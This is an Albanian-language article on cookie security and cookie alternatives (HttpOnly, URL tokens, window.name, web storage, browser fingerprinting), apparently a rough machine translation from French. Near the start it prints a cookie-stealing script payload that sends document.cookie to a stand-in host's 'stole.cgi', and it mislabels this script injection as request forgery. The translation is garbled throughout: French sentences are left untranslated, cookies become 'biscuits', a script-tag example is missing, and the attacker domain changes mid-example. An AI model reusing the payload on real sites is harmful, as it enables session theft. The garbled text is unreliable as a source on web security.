Një kërcënim tjetër i sigurisë i përdorur është fabrikimi i kërkesës në sit.

Specifikimi teknik zyrtar lejon që kukit të kthehen vetëm te serverët në domenin nga e kanë origjinën. Megjithatë, vlera e cookies mund të dërgohet në serverë të tjerë duke përdorur mjete të ndryshme nga kokat e kukive.

Në veçanti, gjuhët e skriptimit si JavaScript përgjithësisht lejohen të kenë qasje në vlerat e cookie-ve dhe janë të afta të dërgojnë vlera arbitrare në çdo server në internet. Kjo aftësi skriptimi përdoret nga faqet e internetit që lejojnë përdoruesit të postojnë përmbajtje HTML për ta parë përdoruesit e tjerë.

Për shembull, një sulmues që operon në domenin example.com mund të postojë një koment që përmban lidhjen e mëposhtme që tregon një blog të njohur që ata përndryshe nuk e kontrollojnë:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Kur një përdorues tjetër klikon në këtë lidhje, shfletuesi ekzekuton pjesën e atributit onclick të kodit, kështu që zëvendëson vargun document.cookie me listën e kukit të përdoruesve që janë aktive për këtë faqe. Prandaj, kjo listë e skedarëve të skedarëve dërgohet në serverin example.com, dhe për këtë arsye sulmuesi është në gjendje të mbledhë skedarët e skedarëve të këtij përdoruesi.

Ky lloj sulmi është i vështirë për t'u zbuluar nga ana e përdoruesit, sepse skripti vjen nga i njëjti domen që vendos cookie-n dhe operacioni për dërgimin e vlerave duket se është i autorizuar nga ai domen. Konsiderohet se është përgjegjësi e administratorëve që operojnë këtë lloj faqeje të vendosin kufizime që parandalojnë publikimin e kodit me qëllim të keq.

Cookies nuk janë drejtpërdrejt të dukshme për programet e klientit si JavaScript nëse dërgohen me flamurin HttpOnly. Nga këndvështrimi i serverit, ndryshimi i vetëm është se në rreshtin e kokës Set-Cookie shtohet një fushë e re që përmban vargun HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Kur shfletuesi merr një cookie të tillë, supozohet ta përdorë atë normalisht në shkëmbimin HTTP vijues, por pa e bërë të dukshme për skriptet e ekzekutuara në anën e klientit. Flamuri HttpOnly nuk është pjesë e ndonjë specifikimi teknik zyrtar dhe nuk zbatohet në të gjithë shfletuesit. Vini re se aktualisht nuk ka asnjë mënyrë për të parandaluar leximin dhe shkrimin e skedarëve të sesionit me metodën XMLHTTPRequest.

Modifikimi i përmbajtjes: një sulmues dërgon një cookie të pavlefshme në një server, ndoshta të krijuar nga një cookie e vlefshme e dërguar nga serveri.

Ndryshimi i cookies

Sapo cookies duhet të ruhen dhe të kthehen të pandryshuara në server, një sulmues mund të modifikojë vlerën e cookies përpara se ato të kthehen në server. Për shembull, nëse një cookie përmban vlerën totale që përdoruesi duhet të paguajë për artikujt e vendosur në karrocën e dyqanit, ndryshimi i kësaj vlere e ekspozon serverin ndaj rrezikut të tarifimit të sulmuesit më pak se çmimi fillestar. Procesi i modifikimit të vlerës së cookies quhet helmimi me biskota dhe mund të përdoret pas vjedhjes së biskotave për ta bërë sulmin të vazhdueshëm.

Në metodën e anulimit të cookie-ve, sulmuesi shfrytëzon një defekt të shfletuesit për të dërguar një cookie të pavlefshme në server.

Megjithatë, shumica e faqeve të internetit ruajnë vetëm një ID sesioni - një numër unik i krijuar rastësisht i përdorur për të identifikuar përdoruesin e sesionit - në vetë cookie, ndërsa të gjitha informacionet e tjera ruhen në server. Në këtë rast, ky problem zgjidhet kryesisht.

Trajtimi i cookie-ve midis faqeve të internetit

Çdo sajt pritet të ketë cookie-t e veta, kështu që një sajt nuk duhet të jetë në gjendje të modifikojë ose krijojë skedarë të lidhur me një sajt tjetër. Një e metë e sigurisë e shfletuesit të internetit mund të lejojë që faqet me qëllim të keq të thyejnë këtë rregull. Shfrytëzimi i një të mete të tillë zakonisht quhet gatim në vend. Qëllimi i sulmeve të tilla mund të jetë vjedhja e ID-së së sesionit.

Përdoruesit duhet të përdorin versionet më të fundit të shfletuesve të internetit në të cilët këto dobësi janë eliminuar praktikisht.

Gjendja konfliktuale midis klientit dhe serverit

Përdorimi i cookies mund të gjenerojë një kontradiktë midis gjendjes së klientit dhe gjendjes së ruajtur në cookie. Nëse përdoruesi merr një cookie dhe klikon në butonin "Kthehu" të shfletuesit, gjendja e shfletuesit në përgjithësi nuk është e njëjtë si përpara kësaj blerjeje. Për shembull, nëse shporta e një dyqani online krijohet duke përdorur cookie, përmbajtja e shportës nuk mund të ndryshojë kur përdoruesi kthehet në historikun e shfletuesit: nëse përdoruesi shtyp një buton për të shtuar një artikull në shportën e tij dhe klikon në "Kthimi butonin ", artikulli mbetet në këtë. Ky mund të mos jetë qëllimi i përdoruesit, i cili me siguri dëshiron të anulojë shtimin e artikullit. Kjo mund të çojë në mosbesueshmëri, konfuzion dhe defekte. Pra, zhvilluesit e uebit duhet të jenë të vetëdijshëm për këtë problem dhe të zbatojnë masa për të trajtuar situata të tilla.

Skadimi i cookie-t

Cookie-t e vazhdueshme janë kritikuar nga ekspertët e sigurisë së privatësisë se nuk janë caktuar të skadojnë mjaft shpejt, duke lejuar kështu faqet e internetit të gjurmojnë përdoruesit dhe të ndërtojnë profilin e tyre me kalimin e kohës. Ky aspekt i cookies është gjithashtu pjesë e problemit të rrëmbimit të sesionit, sepse një cookie e vazhdueshme e vjedhur mund të përdoret për të imituar një përdorues për një periudhë të konsiderueshme kohore.

Për të lexuar gjithashtu: GAFAM: kush janë ata? Pse janë (ndonjëherë) kaq të frikshëm?

Alternativa ndaj cookies

Disa operacione që mund të kryhen duke përdorur cookie mund të kryhen gjithashtu duke përdorur mekanizma të tjerë që anashkalojnë cookie-t ose rikrijojnë cookie-t e fshira, gjë që krijon probleme të privatësisë në të njëjtën mënyrë (ose ndonjëherë më keq, sepse atëherë të padukshme) sesa cookies.

Adresimi i IP

Përdoruesit mund të gjurmohen me adresën IP të kompjuterit që thërret faqen. Kjo teknikë ka qenë e disponueshme që nga prezantimi i World Wide Web, pasi faqet shkarkohen, serveri kërkon adresën IP të kompjuterit që drejton shfletuesin ose përfaqësuesin, nëse nuk përdoret asnjë. Serveri mund ta gjurmojë këtë informacion nëse ka ose jo cookie në përdorim. Megjithatë, këto adresa janë zakonisht më pak të besueshme në identifikimin e një përdoruesi sesa skedarët e skedarëve "cookie" sepse kompjuterët dhe përfaqësuesit mund të ndahen nga shumë përdorues dhe i njëjti kompjuter mund të marrë një adresë IP të ndryshme në çdo seancë pune (siç është c shpesh rasti për lidhjet telefonike) .

Gjurmimi nga adresat IP mund të jetë i besueshëm në disa situata, si p.sh. lidhjet me brez të gjerë që mbajnë të njëjtën adresë IP për një kohë të gjatë, për sa kohë që energjia është e ndezur.

Disa sisteme si Tor janë krijuar për të ruajtur anonimitetin e internetit dhe për ta bërë të pamundur ose jopraktik ndjekjen nga adresa IP.

URL

Një teknikë më e saktë bazohet në futjen e informacionit në URL. Pjesa e vargut të pyetjes së URL-së është një teknikë që përdoret zakonisht për këtë qëllim, por mund të përdoren edhe pjesë të tjera. Si serverleti Java ashtu edhe mekanizmat e sesionit PHP e përdorin këtë metodë nëse cookies nuk janë të aktivizuara.

Kjo metodë përfshin që serveri i uebit shton kërkesat e vargjeve në lidhjet e faqes së internetit që e bart atë kur dërgohet në shfletues. Kur përdoruesi ndjek një lidhje, shfletuesi kthen vargun e bashkangjitur të pyetjes në server.

Vargjet e pyetjeve të përdorura për këtë qëllim dhe cookies janë shumë të ngjashme, të dyja janë informacione të zgjedhura në mënyrë arbitrare nga serveri dhe të kthyera nga shfletuesi. Megjithatë, ka disa dallime: kur një URL që përmban një varg pyetjesh ripërdoret, i njëjti informacion dërgohet në server. Për shembull, nëse preferencat e një përdoruesi janë të koduara në një varg pyetjesh të një URL dhe përdoruesi ia dërgon atë URL një përdoruesi tjetër me email, ai përdorues do të jetë gjithashtu në gjendje t'i përdorë ato preferenca.

Nga ana tjetër, kur një përdorues hyn dy herë në të njëjtën faqe, nuk ka asnjë garanci që i njëjti varg pyetjesh do të përdoret të dyja herë. Për shembull, nëse një përdorues zbarkohet në një faqe nga një faqe e brendshme e sajtit herën e parë dhe zbarkon në të njëjtën faqe nga një faqe e jashtme herën e dytë, vargu i pyetjes në lidhje me faqen e sajtit është zakonisht i ndryshëm, ndërsa skedarët e skedarëve kuki janë të njëjta .

Disavantazhe të tjera të vargjeve të pyetjeve lidhen me sigurinë: mbajtja e të dhënave që identifikojnë një sesion në vargjet e pyetjeve mundëson ose thjeshton sulmet e fiksimit të sesionit, sulmet e referencës së identifikuesve dhe shfrytëzime të tjera. Kalimi i ID-ve të sesioneve si kuki HTTP është më i sigurt.

Fusha e formës së fshehur

Një formë e ndjekjes së sesioneve, e përdorur nga ASP.NET, është përdorimi i formularëve të internetit me fusha të fshehura. Kjo teknikë është shumë e ngjashme me përdorimin e vargjeve të pyetjeve URL për të bartur informacion dhe ka të njëjtat avantazhe dhe disavantazhe; dhe nëse formulari përpunohet me metodën HTTP GET, fushat në fakt bëhen pjesë e URL-së së shfletuesit që do ta dërgojë atë gjatë dorëzimit të formularit. Por shumica e formularëve përpunohen me HTTP POST, gjë që bën që informacioni i formularit, duke përfshirë fushat e fshehura, të shtohet si një hyrje shtesë që nuk është as pjesë e URL-së dhe as një cookie.

Kjo qasje ka dy avantazhe nga një këndvështrim gjurmimi: së pari, gjurmimi i informacionit të vendosur në kodin burimor HTML dhe hyrjen POST në vend të URL-së do t'i lejojë përdoruesit mesatar të shmangë këtë gjurmim; së dyti, informacioni i sesionit nuk kopjohet kur përdoruesi kopjon URL-në (për shembull, për ta ruajtur faqen në disk ose për ta dërguar atë me email).

dritare.emër

Të gjithë shfletuesit e zakonshëm të internetit mund të ruajnë një sasi mjaft të madhe të dhënash (2MB deri në 32MB) nëpërmjet JavaScript duke përdorur vetinë window.name të DOM-it. Këto të dhëna mund të përdoren në vend të kukive të sesionit dhe përdoren gjithashtu nëpër domene. Teknika mund të shoqërohet me objekte JSON për të ruajtur një grup kompleks të variablave të sesionit nga ana e klientit.

E keqja është se çdo dritare ose skedë e veçantë fillimisht do të ketë një dritare.emër bosh; kur shfletoni sipas skedave (të hapura nga përdoruesi) kjo do të thotë se skedat e hapura individualisht nuk do të kenë një emër dritareje. Për më tepër, window.name mund të përdoret për të gjurmuar vizitorët nëpër sajte të ndryshme, të cilat mund të paraqesin një shqetësim për privatësinë.

Në disa aspekte kjo mund të jetë më e sigurt se cookies, për shkak të mospërfshirjes së serverit, duke e bërë kështu të paprekshëm ndaj sulmit të rrjetit të skedarëve sniffer. Megjithatë, nëse merren masa të veçanta për mbrojtjen e të dhënave, ato janë të cenueshme ndaj sulmeve të mëtejshme, pasi të dhënat janë të disponueshme përmes faqeve të tjera të hapura në të njëjtën dritare.

Autentifikimi HTTP

Protokolli HTTP përfshin protokollet bazë të vërtetimit të aksesit dhe përmbledhjen e vërtetimit të aksesit, i cili lejon hyrjen në një faqe interneti vetëm kur përdoruesi ka dhënë emrin e përdoruesit dhe fjalëkalimin. Nëse serveri kërkon një certifikatë për të dhënë akses në një faqe interneti, shfletuesi e kërkon atë nga përdoruesi dhe pasi të merret, shfletuesi e ruan atë dhe e dërgon atë në të gjitha kërkesat pasuese HTTP. Ky informacion mund të përdoret për të gjurmuar përdoruesin.

Objekti i përbashkët lokal

Nëse një shfletues përfshin shtojcën Adobe Flash Player, objekte të përbashkëta lokale mund të përdoret për të njëjtin qëllim si cookies. Ato mund të jenë një zgjedhje tërheqëse për zhvilluesit e uebit sepse:

• kufiri i madhësisë së paracaktuar për një objekt lokal të përbashkët është 100 KB;
• kontrollet e sigurisë janë të ndara nga kontrollet e skedarëve të përdoruesve (kështu që objektet e përbashkëta lokale mund të lejohen kur skedarët e skedarëve nuk lejohen).

Kjo pikë e fundit, e cila dallon politikën e menaxhimit të kukive nga ajo e objekteve të përbashkëta lokale të Adobe ngre pyetje në lidhje me menaxhimin nga përdoruesi të cilësimeve të tij të privatësisë: ai duhet të jetë i vetëdijshëm se menaxhimi i tij i cookies nuk ka asnjë ndikim në menaxhimin e objekteve të përbashkëta lokale, dhe anasjelltas.

Një tjetër kritikë ndaj këtij sistemi është se ai mund të përdoret vetëm përmes shtojcës Adobe Flash Player i cili është pronësor dhe jo një standard ueb.

Këmbëngulja nga ana e klientit

Disa shfletues të internetit mbështesin një mekanizëm të qëndrueshmërisë së bazuar në skript, i cili lejon faqen të ruajë informacionin në nivel lokal për përdorim të mëvonshëm. Internet Explorer, për shembull, mbështet informacione të vazhdueshme në historikun e shfletuesit, faqerojtësit, në një format të ruajtur në XML ose drejtpërdrejt me një faqe interneti të ruajtur në disk. Për Microsoft Internet Explorer 5, ekziston një metodë e të dhënave të përdoruesit në dispozicion përmes sjelljeve DHTML.

W3C prezantoi në HTML 5 një API të re JavaScript për ruajtjen e të dhënave nga ana e klientit të quajtur ruajtja në ueb dhe synonte të zëvendësonte përgjithmonë cookies. Është i ngjashëm me cookie-t, por me kapacitet të përmirësuar shumë dhe pa ruajtur informacione në kokën e kërkesave HTTP. API lejon dy lloje të ruajtjes në ueb: hapësirën lokale dhe hapësirën e sesioneve, të ngjashme me cookie-t e vazhdueshme dhe kukit e sesionit (përveç se kukit e sesionit skadojnë kur shfletuesi mbyllet ndërsa ruajtje e sesioneve skadon kur skeda mbyllet), respektivisht. Ruajtja në ueb mbështetet nga Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 dhe Opera 10.50.

Një mekanizëm i ndryshëm zakonisht mbështetet në cachimin e shfletuesit (në memorie dhe jo në rifreskim) duke përdorur programe JavaScript në faqet e internetit. 

Për shembull, një faqe mund të përmbajë etiketën . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

Në këtë pikë, programi mbetet në memorien e memories dhe faqja e vizituar nuk ringarkohet për herë të dytë. Rrjedhimisht, nëse programi përmban një variabël globale (për shembull var id = 3243242;), ky identifikues mbetet i vlefshëm dhe mund të shfrytëzohet nga një kod tjetër JavaScript sapo faqja të ngarkohet përsëri, ose pasi të ngarkohet një faqe që lidh programin. 

Disavantazhi kryesor i kësaj metode është se ndryshorja globale JavaScript duhet të jetë statike, që do të thotë se nuk mund të ndryshohet ose fshihet si një cookie.

Gjurmët e gishtave të shfletuesit të internetit

Gjurma e gishtit të shfletuesit është informacion i mbledhur në lidhje me cilësimet e konfigurimit të një shfletuesi për qëllime identifikimi. Këto gjurmë gishtash mund të përdoren për të identifikuar plotësisht ose pjesërisht një përdorues të internetit ose një pajisje edhe kur skedarët e skedarëve janë të çaktivizuar.

Informacioni bazë i konfigurimit të shfletuesit të internetit është mbledhur prej kohësh nga shërbimet e audiencës së uebsajtit me qëllim të matjes së saktë të trafikut njerëzor në ueb dhe zbulimit të formave të ndryshme të mashtrimit të klikimeve. Me ndihmën e gjuhëve të skriptimit nga ana e klientit, mbledhja e informacionit shumë më e saktë është tani e mundur.

Konvertimi i këtij informacioni në një varg biti prodhon një gjurmë gishti të pajisjes. Në vitin 2010, Electronic Frontier Foundation (EFF) mati entropinë e gjurmës së gishtit të një shfletuesi si të paktën 18,1 bit, dhe kjo ishte përpara se përparimet në gjurmët e gishtërinjve në kanavacë të shtonin 5,7 bit në atë entropi.

Biskota me pak fjalë

Cookies janë skedarë të vegjël teksti të ruajtura nga shfletuesi i internetit në hard diskun e vizitorëve të faqes në internet dhe që përdoren (ndër të tjera) për të regjistruar informacione rreth vizitorit ose udhëtimit të tyre nëpër sajt. Kështu, webmaster mund të njohë zakonet e një vizitori dhe të personalizojë prezantimin e faqes së tij për çdo vizitor; cookies më pas bëjnë të mundur që të kujtohet se sa artikuj duhet të shfaqen në faqen kryesore apo edhe të ruhen kredencialet e hyrjes për ndonjë palë private: kur vizitori kthehet në sajt, nuk është më e nevojshme që ai të shkruajë emrin dhe fjalëkalimin e tij në të njihen, pasi ato lexohen automatikisht në cookie.

Një cookie ka një jetëgjatësi të kufizuar, të vendosur nga projektuesi i faqes. Ato gjithashtu mund të skadojnë në fund të seancës në faqe, e cila korrespondon me mbylljen e shfletuesit. Cookies përdoren gjerësisht për ta bërë jetën më të lehtë për vizitorët dhe për t'u paraqitur atyre informacione më të rëndësishme. Por teknika të veçanta bëjnë të mundur ndjekjen e një vizitori në disa faqe dhe në këtë mënyrë mbledhjen dhe kontrollimin e një informacioni shumë të gjerë mbi zakonet e tij. Kjo metodë i ka dhënë përdorimit të cookies një reputacion si një teknikë mbikëqyrjeje që cenon privatësinë e vizitorëve, gjë që për fat të keq korrespondon me realitetin në shumë raste përdorimi për arsye jo teknike ose për mosrespektim të pritshmërive të përdoruesve.

Në përgjigje të këtyre frikës legjitime, HTML 5 prezanton një API të re JavaScript për ruajtjen e të dhënave nga ana e klientit të quajtur ruajtja në ueb, e cila është shumë më e sigurt dhe me kapacitet më të madh, e cila synon të zëvendësojë cookies.

Ruajtja e biskotave

Me disa shfletues, një cookie është lehtësisht e modifikueshme, një redaktues i thjeshtë teksti si Notepad është i mjaftueshëm për të ndryshuar vlerat e tij me dorë.

Cookies ruhen ndryshe në varësi të shfletuesit:

• Microsoft Internet Explorer ruan çdo cookie në një skedar të ndryshëm;
• Mozilla Firefox ruan të gjitha cookies në një skedar të vetëm;
• Operë ruan të gjitha cookie-t e tij në një skedar të vetëm dhe i kodon ato (i pamundur modifikimi i tyre përveç opsioneve të softuerit);
• Apple Safari ruan të gjitha kukit në një skedar të vetëm shtesë .plist. Modifikimi është i mundur, por jo shumë i lehtë, nëse nuk kaloni nëpër opsionet e softuerit.

Kërkohet mbështetje nga shfletuesit minimumi :

• 300 biskota të njëkohshme;
• 4 o për cookie;
• 20 cookie për host ose domen.